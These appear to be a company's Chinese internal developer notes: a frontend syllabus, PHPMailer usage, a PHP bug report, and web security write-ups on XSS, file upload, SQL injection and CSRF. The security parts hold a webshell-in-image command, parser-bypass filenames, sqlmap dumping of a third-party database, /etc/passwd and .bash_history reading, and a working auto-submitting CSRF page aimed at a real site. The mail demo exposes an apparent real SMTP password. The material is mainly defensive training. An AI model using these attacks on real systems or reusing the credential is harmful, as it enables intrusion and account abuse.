前端三个月水平

一、移动端
1、自适应布局(响应式)
2、HTML5+CSS3
3、iPhone/android

二、HTML5运用
1、新标签的使用
2、HTML5表单的运用
3、Canvas和Svg的运用

三、CSS3运用
1、新属性的了解
2、transition、animation动画效果实现

四、CSS预处理器
1、Sass
2、Less
3、Stylus
选其一,推荐Sass

五、编程语言
1、Javascript
2、php基础语法(w3school php 基础教程)

六、JS基础类库
1、jQuery
2、Prototype
3、Zepto
4、MooTool
5、Underscore

七、了解前端框架
1、Bootstrap
2、Foundation
3、Semantic UI
4、jQuery UI

八、网页性能优化
1、Page Speed
2、Yslow
3、FeHelper
4、WebPageTest
5、ShowSlow
6、DynaTrace Ajax Edition
7、HttpWatch

九、其他工具使用
1、putty使用设置
2、简单linux命令
3、svn使用,参考《svn常用命令及练习.txt》
4、vim使用
5、winscp使用

十、根据域名查找程序位置
1、dig ssh命令等的配合
2、查看文档
3、新建项目文件,Checkout到本地
4、nginx清除缓存

前端三个月水平

前端两周水平

一、基本语法
1、html表格布局
2、div+css布局

二、切图工具使用
1、photoshop基本切图
2、CSS Sprite图的生成

三、前端标准规范
1、最新的HTML、CSS、JS的编码规范
2、公司后台分享的“前端开发注意事项”和“Web前端书写规范”

四、编辑器的选用
1、Sublime Text
2、Brackets
3、Dreamweaver

五、JS基础
1、JS HTML DOM
2、常用的js或jquery网页交互动态效果实现(参考公司网站用到的各种效果)

六、浏览器知识
1、常用浏览器 firefox、chrome、360、ie各版本
2、ctrl+f5 强刷,清除浏览器缓存
3、F12 调试页面显示
4、查看源代码
5、Chrome浏览器【审查元素】,调试样式
6、了解常遇到的浏览器兼容问题(考虑IE兼容性)

七、网页性能分析优化
1、Page Speed
2、Chrome开发者工具
3、Firebug

八、学习途径
1、w3school教程:www.w3school.com.cn
2、慕课网:www.imooc.com
3、前端论坛、博客

九、其他
1、周报按要求抒写,查看文档《周报要求.txt》
2、每周分享会要求,查看文档《分享资料格式要求.txt》
3、abc项目管理后台,解决问题反馈
4、文档:提问的艺术
5、文档:做事优先级
6、翻墙能力
·基本原理
·GoAgent
·自由门
·无界等等前端两周水平

php发送邮件的相关知识

编	写:袁	亮
时	间:2015-07-28
说	明:php发送邮件的相关知识

一、什么时候需要用到?
	1、系统监控,应用监控报警
	2、相应的项目统计
	3、用户注册、重置密码
	4、发送推广内容(现在很少)
	5、给用户的正式通知
	
二、php中发送邮件的方式
	1、使用封装好的PHPMailer类发送【常用】
		网上下载相应的类文件即可phpmailer
	2、使用smtp类发送
		与PHPMailer类似
	3、PEAR::Net_SMTP组件
		需要引用pear类库中的Net/SMTP.php和Mail/mime.php,服务器上没有的话,直接下载也可以
		据说挺好用的,很强大,没用过,可以尝试下
	4、内置函数mail
		php需要安装正在运行的邮件系统,了解即可,平时不用
	5、popen管道形式发送
		需要配置邮件服务器,了解即可,我也没用过

三、PHPMailer简单demo
	IsSMTP();//使用smtp协议
	$mail->SMTPDebug = false;
	$mail->Host = "smtp.163.com"; //使用哪个smtp服务器,在对应的邮件设置里找SMTP服务器
	$mail->SMTPAuth = true; //需要认证,必选,基本没有不认证的了
	$mail->Username = "ci123_demo"; //邮箱账号,不需要@什么的,需要在邮箱里开启smtp服务,否则失败
	$mail->Password = "nymqjctyjlykkfpt"; //开启smtp服务的时候系统自动设置的密码(163是这样)

	$mail->CharSet = "UTF-8";//编码设置
	$mail->From = "ci123_demo@163.com";//发件人完整邮箱地址
	$mail->FromName = "育儿网";//发件人备注名,可以随意填写,方便自己看即可

	//发送给谁,可以发给多个人,多次执行AddAddress,前面是邮箱地址,后面是备注
	$mail->AddAddress('yuanliang@corp-ci.com', "袁亮");
	$mail->AddCC('629036398@qq.com','暗夜御林');//抄送,暗送是BCC

	$mail->Subject = '邮件标题';
	$content = '邮件测试内容'.date('Y-m-d H:i:s');
	//$mail->Body = $content;//纯文本内容,不能发送html
	$mail->MsgHTML($content);//以html的形式发送,一般用这个,方便排版

	if(!$mail->Send()){
		echo $mail->ErrorInfo;
		die();
	}
	echo 'succ';
	die();
		
四、PHPMailer注意事项
	1、php需要支持sockets,大部分情况下都开启了,phpinfo查看Sockets Support
	2、最常见的错误是需要开启smtp服务,到对应的邮箱里开启
		smtp服务器地址
		邮箱账号
		授权密码,非邮箱登陆密码
	3、需要发送html内容的,需要使用MsgHTML
	4、发送失败的情况下,第一反应是看报错信息,而不是瞎猜
		
五、邮件发送的注意事项
	1、限制
		每个邮件服务器,都有限制邮件数量,163的限制比较少
		出现莫名其妙收不到的情况,可以尝试换一个账号发,换一个账号收等来测试是哪方面有问题
	2、内容过滤
		垃圾内容过滤是邮件服务器最核心的功能,如果对用户发的时候,需要注意内容是否会被过滤,可以先拿自己的账号测试
	3、发送附件
		AddAttachment('文件绝对路径','附件名称');
		
六、邮件协议
	1、POP3
		1.1 POP3允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时删除保存在邮件服务器上的邮件
		1.2 POP3协议允许电子邮件客户端下载服务器上的邮件,但是在客户端的操作(如移动邮件、标记已读等),不会反馈到服务器上
			比如通过客户端收取了邮箱中的3封邮件并移动到其他文件夹,邮箱服务器上的这些邮件是没有同时被移动的
	2、IMAP
		2.1 交互式邮件存取协议,它是跟POP3类似邮件访问标准协议之一
		2.2 IMAP提供webmail 与电子邮件客户端之间的双向通信,客户端的操作都会反馈到服务器上,
			对邮件进行的操作,服务器上的邮件也会做相应的动作
		2.3 IMAP像POP3那样提供了方便的邮件下载服务,让用户能进行离线阅读
	3、SMTP
		3.1 简单邮件传输协议;它是一组用于从源地址到目的地址传输邮件的规范,通过它来控制邮件的中转方式
		3.2 SMTP认证,就是要求必须在提供了账户名和密码之后才可以登录 SMTP 服务器,现在已经没有不需要认证的了,除非自己搭
		3.3 发送邮件,必须是开的这个服务
		
附录:
	http://www.w3school.com.cn/php/php_ref_mail.asp
	http://blog.csdn.net/heiyeshuwu/article/details/458170
	http://blog.csdn.net/rainday0310/article/details/6281936
	http://help.163.com/09/1223/14/5R7P6CJ600753VB8.html

php序列化对象导致的错误


编	写:袁	亮
时	间:2014-04-11
说	明:序列化对象导致的错误

一、问题描述
	在迁移blogadmin项目的时候遇到了一个报错:(迁移前php版本:5.2.6、迁移后php版本:5.3.7)

	Fatal error: PostsController::index(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "Information" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition

二、解决过程
	1、根据报错信息搜索,查找到文档:http://www.php.net/manual/zh/language.oop5.serialization.php
	2、按文档里的说明,结合程序,出现问题的原因是:
		a、程序中,会把对象存储会话中(session,session会调用php的serialize函数序列化对象)
		b、在新的页面中,程序从session中,取出数据,并自行调用unserialize函数,反序列化对象,并且正常使用对象
		c、以上要正常使用,必须保证对象所对应的类定义要在unserialize之前,否则反序列化出来的对象会有缺失,从而导致错误
		d、一般情况下,调整session_start和引用类定义文件的顺序即可
		
	3、根据上述信息,调试程序,发现调用对象的时候,类已经定义,而且类定义的引用在session_start之前
	4、经查,发现是该服务器的php配置中,自动开启了session_start,导致session_start永远在类定义前,从而导致错误发生
	5、修改php配置,并重启apache即可

	

【web安全】- xss注入攻击的总结

编	写:袁亮
时	间:2014-10-10
功	能:xss攻击的总结文档

一、xss注入攻击危害
	1、cookie、session等劫持,任意登陆其他用户、管理员的账号,从而做一些非法操作,比如登陆后台操作等等
	2、挂马、流量劫持,将正常访问我们站点的流量导到他们的网站,从而实现谋利等
	3、记录用户的键盘输入,从而实现盗取账号密码等
	4、弹出广告,篡改页面,引导用户输入账号密码等
	5、用管理员权限,进行提权,比如上传一些webshell,进一步来提权控制服务器等
	6、使用劫持的流量进行攻击等操作

二、防御措施
	1、cookie设置的时候,设置为http only,除非没办法一定要给js读取,否则都设置为http only
	2、外部参数都要过滤:get、post、cookie
	3、数字型参数,一律使用intval转型
	4、字符串:纯文字,不允许html、js等效果的,使用strip_tags过滤,绝大多数都可以防止
		4.1 非编辑器的内容输入,基本上都可以采用该策略
		4.2 编辑器的内容,产品允许的情况下,也可以这么用,指定strip_tags的第二个参数,只允许部分标签
	5、字符串:允许html,但不允许脚本执行(编辑器内容)
		5.1 完全避免是不可能的
		5.2 针对一般性的注入进行防范,参考附件中的removeXss函数,还是会被绕过
		5.3 去除了一些危险标签,以及几乎所有的js事件,可能会存在误判,可根据各项目情况,自行修改过滤标签数组
		5.4 一般只针对富文本编辑器产生的内容处理,其他的采用上面的方法处理
	6、采用html purifier来过滤所有的xss攻击(成本较高,特别重要的项目的部分输入才引入)
		6.1 只看了大概介绍,没有具体研究,有兴趣的可以试下

	总结:数字型支架intval,非编辑器产生的字符串基本都可以用strip_tags过滤,编辑器的可采用removeXss进行过滤。

三、其他工具
	1、web自动扫描工具(360漏洞扫描)
	2、360webscan.php(自动拦截记录get、post、cookie中的非法请求,会上传报告,记得关掉,易误伤)
	3、XSSer
	4、app检测:http://service.security.tencent.com/kingkong

四、通用后台登陆验证升级:
	1、产生的登陆cookie设置为http only,防止因为其他站点的xss工具导致cookie被劫持
	2、验证生成的秘钥与验证时候的ip与agent绑定,防止非法使用
	3、登陆产生的秘钥存储在session中,过期失效

【web安全】- 文件上传漏洞


编	写:袁	亮
时	间:2014-10-27
说	明:文件上传、下载漏洞的研究

一、上传漏洞原理
	1、用户上传了非法的文件
	2、存储的目录有执行脚本权限,且非法文件能被解析
	3、可以通过web方式访问该文件

二、上传验证攻防手段:
	1、防御:客户端js坚持文件类型和大小是否合法
	   攻击:直接修改浏览器的js或者使用burpsuite等工具修改提交的数据
	
	2、防御:服务端后缀名检测
	   攻击:直接修改脚本后缀名上传即可,后缀名判断采用白名单形式,不要用黑名单
		2.1 结合服务器端的解析漏洞
		2.2 IIS的解析漏洞:可以采用类似webshell.asp;test.jpg 的文件,会被IIS解析为webshell.asp
		2.3 apache解析漏洞:webshell.php.rar.rar a.php.123
			2.3.1 AddHandler php5-script .php 危险文件:test2.php.jpg
			2.3.2 AddType application/x-httpd-php .jpg jpg也能作为脚本执行
			2.3.3 配置了php2 php4等也作为脚本执行
		2.4 nginx解析漏洞:/test.jpg/webshell.php (0.87版本以下)
		2.5 windows下:webshell.asp_ webshell.asp.等形式,windows自动会把asp后面的去掉
		2.6 linux下:webshell.php0x00.jpg 0x00在C里是终结符,会被截断为webshell.php
	
	3、防御:服务端MIME类型检测
	   攻击:修改请求包中的Content-Type字段即可绕过

	4、防御:服务端根据文件内容进行类型检测
		4.1 文件头头检测,比如getimagesize等,检测的就是文件头不10个字节左右
		4.2 文件加载测试,比如图片渲染,或者二次渲染
	   攻击:修改上传文件的内容
		4.1 在正常的图片文件头之后,加入可执行脚本
		4.2 使用GIMP工具,在图片的空白区域,填充代码,可以绕过渲染检测

三、上传之后攻击
	1、服务器配置不当,导致webshell被执行
		1.1 上传目录可执行
		1.2 非法文件名被解析
	2、程序不当,导致webshell执行
		1.1 引用了上传的文件(很多开源的框架都有这种漏洞,比如UCenter的js.php等等)
		1.2 直接使用了源文件的后缀名等,导致成功使用了解析漏洞,如果生成的文件都重命名了,那么文件名解析漏洞肯定不存在
	3、得到webshell之后,基本上,可以说这个站点已经沦陷了,后面可以做的事情太多了
		3.1 有个很出名的webshell叫中国菜刀,大家可以下过来玩下
四、安全防范
	说明:具体看各种攻防手段,感觉要完全解决上传漏洞是件非常麻烦,而且有技术含量的事情
	但是从本身的原理上来看,只要遵循规范,其实是一件很容易规避的问题(开源框架例外,太多不可控)
	1、服务器方面:
		1.1 【最重要】上传文件的目录,设置为不可执行(就算所有判断都没加,只要这点做了,基本上就成功了)
		1.2 apache、nginx不要配置一些奇怪的解析
		1.3 上传的图片可以采用统一的域名进行访问,不与web服务器一起
	2、程序方面
		2.1 根据文件头,判断文件类型,并采用白名单过滤,只允许有限几种类型
		2.2 重写文件名,并且文件名与用户输入的数据无关
		2.3 如果是图片的话,可以进行图片压缩等操作,一般来说,非法代码都会被干掉

五、容易遗漏的过滤
	1、引用了富文本编辑器,但是没做任何更改,一般富文本编辑器会自带了上传功能,包括服务器端的,很多人会忘了该这个,从而导致webshell被上传执行
	2、开源框架本身的有include一些生成文件的,这个只能多关注开源框架的一些最新安全消息,进行升级

六、文件下载
	1、文件下载遵循一个原则,所有要下载的文件名,都不允许是通过参数传递进来的
	2、将可下载的文件,通过后台等形式记录到数据库中,并给与编号
	3、只允许根据编号来进行相应的文件下载
	4、导出数据的,根据取到的数据库,生成文件下载需要防范的是sql注入等问题,与文件下载本身没什么管理,参考其他防范措施

附录:
1、在图片里写入一句话木马
	copy /b tangwei.jpg+yijuhua.php tangweiyijuhua.jpg
2、二次渲染
	就是重新生成图片,然后删除原图

【web安全】- sql注入的实战与防范

编	写:袁	亮
时	间:2014-10-24
说	明:sql注入的实战与防范

一、对m端知识目录下的程序进行注入:
	1、结果:通过sqlmap将整个baike的数据库down下来了
	2、代码有以下问题:
		2.1 程序设置了报错开启输出
		2.2 参数没有做过滤,大部分都是整型,intval下其实就可以解决
		2.3 搜索功能的搜索值也没有做任何处理
		2.4 妈妈经的后台,sadmin/sub下的所有程序都没有验证登陆
		2.5 妈妈经后台的处理程序,对任何外部数据都没有处理,后台要是沦陷,轻易可以住人做任何事情
	3、处理结果:
		已经反馈给戴维杨,做相应的升级
二、英皇下载漏洞以及sql住人漏洞的利用:
	1、结果:根据乌云上爆出的漏洞,将英皇那台服务器上的代码基本上都down下来了
		根据其中的sql住人利用,使用sqlmap将其库拖成功
	2、学到的东西:
		2.1 sqlmap在住人rewrite的网址时,对rewrite网址中参数部分加一个*号即可正常住人,否则rewrite过的页面是住人不起来的
		2.2 报错绝对要关掉
		2.3 猜测程序目录等的时候,可以通过读/etc/passwd文件,知道服务器上有哪些账号,根据账号读取相应的/home/账号名/.bash_history 来读取历史操作
		2.4 结合页面url,来猜测其中的一个文件,只要找对了一个文件名,就可以根据引用关系顺藤摸瓜,将其绝大多数代码搞定
三、openlogin服务器端安全升级:
	1、上周对openlogin的客户端进行了安全升级,但是服务端很是很脆,上去看了下,拖库太轻松了,所以将其安全方面升级了下。
	2、具体实现:
		2.1 mysql_error不允许输出
		2.2 openpassword加密,现在是直接输出的数据库中的md5值
		password记录到cookie中的值为md5("实际密码").','.生成时候的时间戳.','.md5(时间戳+随机字符串)
		使用cookie中的密码时候,必须保证前后两个都是32位的md5值,中间的时间戳不超过1星期,后面的MD5验证串正确
		当用户的cookie被劫持的话,还是有可能被绕过
		2.3 用户输入的用户名只能是4位小写字母加0到16位小写字母加数字
		2.4 密码必须超过6位,必须有两种字符(大写字母、小写字母、数字、特殊字符)
		2.5 密码不带入sql中进行查询,只根据账号取出来的密码进行字符串匹配是否相等,从而防止sql注入
		2.6 所有的cookie不允许js读取
		2.7 openlogindomain也做同样的升级处理
		2.8 该目录下的其他数据库连接文件,全部引用ci123_safe.php文件,防止一般攻击(40多个文件,改的好蛋疼...)
四、防范要点:
	1、对所有的外部数据都要过滤,判断($_GET,$_POST,$_COOKIE,$_SERVER等),不要使用一些奇奇怪怪的数据接收方式,比如$_REQUEST,$GLOBALS['HTTP_RAW_POST_DATA']之类的,这个后面要审核代码就是个悲剧,容易漏掉
	2、清楚的知道数据是什么格式,多少长度的,做相应的判断
	3、90%以上的参数都是整型,直接intval处理
	4、字符串型的,如果是特地格式的数据,直接用正则来判断:
		4.1 手机号、ip地址、用户名、QQ号、邮编、邮箱、日期等等
		4.2 这些的正则网上随便找找就一大堆,不要说不知道怎么写
	5、富文本编辑器的的情况下,可以采用360的过滤,因为这些很难验证,我们可以采用他们做的这个来验证
	6、千万不要开报错!!!页面里不能输出
	7、数据库权限开通:master:增删改查,slave:select权限即可
五、攻击小技巧
	1、利用搜索引擎找到有漏洞的页面:site:***.com inurl:?id=之类的
	2、通过在参数后面加单引号或者and 1=1 ,and 1=2 来判断是否可注入
	3、善于利用工具来做,然后看下工具生成的攻击log来学习

CSRF攻击范例

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>自动加粉丝</title>
</head>

<body>
<div style="display:none">
<form action="http://t.ci123.com/subs/follow.php" name="addForm" method="post" id="addFans" target="ipost">
<input type="text" name="uid" value="1535917"  />
<input type="text" name="types" value="1" />
</form>
<iframe name="ipost" id="ipost"></iframe>
</div>
<script language="javascript">
document.getElementById("addFans").submit();
</script>
</body>
</html>

【web安全】- CSRF攻击的说明和理解

编	写:袁	亮
时	间:2014-10-14
功	能:CSRF攻击的说明和理解

一、介绍
	1、跨站点请求伪造
	2、不收集用户的cookie、不伪造cookie、session等验证信息,直接让用户使用有验证过的情况下去做一些请求,从而造成
破坏

二、大致原理
	1、诱使用户访问一个有问题的页面A
	2、该问题页面A中会发起一个隐藏需求,比如
	3、用户在访问该页面的时候,会以验证过权限的身份隐式的请求
	4、可能会发起是post或者get请求,post稍麻烦点,get非常简单
		4.1 隐藏一个自动提交的post表单,还可以发送到一个隐藏的iframe里,对用户完全透明
		4.2 如果是用户自己的站点,ajax发起post请求
		4.3 通过flash发起post请求

三、防范
	1、重要操作,采用post请求,不要用get请求,get更容易伪造(删除、顶、点赞等)
	2、慎用P3P头,因为这个会导致一些浏览器的cookie安全策略失效(img,iframe等请求本是不发送cookie过去的)
	3、重要操作添加验证码(对用户不友好)
	4、refer检查,易误伤(有些浏览器不发送refer,而且refer易伪造)
	5、Anti CSRF Token验证
		5.1 token放在表单中,不要放在链接中
		5.2 session或者cookie中也存放一个token
		5.3 token使用后需要释放,但需要注意多个页面待提交的问题,生成多个token来解决
		5.4 如果存在xss漏洞的话,token就基本无效了

四、例子(让用户关注我的育儿微博账号)
	1、让用户访问我的一个页面
		1.1 可以是一个自己的网站
		1.2 也可以随便找个有xss注入攻击的站点,比如在博客里插入一段危险代码
		1.3 具体代码可以参考附件中的add_fans.php中的代码(非常简单的html加一行js)
	2、用户访问时,会隐藏的提交了一个post请求
		2.1 该请求对用户完全透明
		2.2 不需要伪造用户的登陆信息,也不需要获取用户的登陆信息,完全绕过登陆验证环节
		2.3 用户只要登陆了育儿网账户,就会自动关注我的微博账号
	3、其他危险
		3.1 通过这种方法,基本上,可以用用户的账号做任何操作(对我们网站现在的情况来说)
		3.2 让访问的用户,自动发送一篇带有add_fans.php的博客,形成蠕虫病毒扩散(xss过滤不完成的话)
		3.3 在扩散出去的这些用户中,还可以升级下add_fans.php的代码,比如让他们帮忙发广告、投票、评论等等

php扩展安装的大概流程


编	写:袁	亮
时	间:2015-07-27
说	明:php扩展安装的大概流程

一、安装流程
	1、找到php源码包,进入ext目录
		1.1 注意,是源码包,而不是安装之后的那个文件夹,类似于windows,下载了一个软件包(源码包),安装到了另外一个目录
			使用的时候是直接用的安装好的目录下的程序,而要装扩展,需要的是源码包里的东西
		1.2 注意版本问题,最好是跟已经安装的php同一个版本的源码包,否则很可能会失败
		1.3 例如:192.168.0.249 
			cd /opt/software/centos/php-5.3.27/ext/pdo_mysql
	2、/opt/ci123/php/bin/phpize
		2.1 需要在扩展的那个目录下执行
		2.2 根据自己的php安装目录,找到bin/phpize
		2.3 正常的话,会生成configure
	3、 ./configure --with-php-config=/opt/ci123/php/bin/php-config --with-pdo-mysql=/opt/ci123/mysql/
		3.1 with-pdo-mysql非必须,其他是安装任何扩展都需要的
		3.2 必须在ext目录下执行
	4、make && make install
		4.1 没问题的话,会在最后输出一个目录,看下目录里是否有生成对应的.so文件,比如这次的就是pdo_mysql.so
	5、修改php配置文件,将扩展添加进去
		5.1 php.ini文件,可以通过phpinfo得到其路径,如果那个目录下没有,可以拷贝一份php.ini文件
		5.2 在末尾增加
			[pdo_mysql]
			extension=pdo_mysql.so
	6、验证模块是否正确添加
		php -m|grep pdo_mysql
		ps:如果有输出才算正常
	7、重启http服务,重新加载php
		/opt/ci123/apache/bin/apachectl -t
		/opt/ci123/apache/bin/apachectl restart
		ps:必须-t先检查下配置文件是否正常,别到时候其他人把apache配置改错了,但是因为没重启没问题,被你重启出问题来了